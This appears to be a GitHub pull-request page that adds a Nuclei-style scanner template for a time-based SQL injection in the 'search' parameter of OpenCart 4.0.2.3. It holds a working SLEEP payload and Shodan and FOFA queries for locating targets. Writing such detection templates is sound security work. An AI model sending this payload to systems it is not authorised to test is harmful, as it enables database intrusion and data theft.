Merge pull request #9490 from Kazgangap/opencart

opencart-core-sqli add
patch-1
Dhiyaneshwaran 2024-04-16 11:47:18 +05:30 committed by GitHub
commit 7e081853ae
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
id: opencart-core-sqli
info:
name: OpenCart Core 4.0.2.3 'search' - SQL Injection
author: Kazgangap
severity: high
description: |
Opencart allows SQL Injection via parameter 'search' in /index.php?route=product/search&search=. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
reference:
- https://www.exploit-db.com/exploits/51940
- https://cxsecurity.com/issue/WLB-2024040004
metadata:
max-request: 2
shodan-query: title:"OpenCart"
fofa-query: icon_hash="-1443008128"
tags: opencart,sqli
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- 'contains(header, "OCSESSID=")'
- 'contains_any(body, "opencart.com", "OpenCart is open source", "content=\"OpenCart")'
condition: or
internal: true
- raw:
- |
@timeout: 15s
GET /index.php?route=product/search&search=')+AND+(SELECT+8368+FROM+(SELECT(SLEEP(7)))uUDJ)--+Nabb HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'contains(body, "Nabb</title>")'
- 'status_code == 200'
condition: and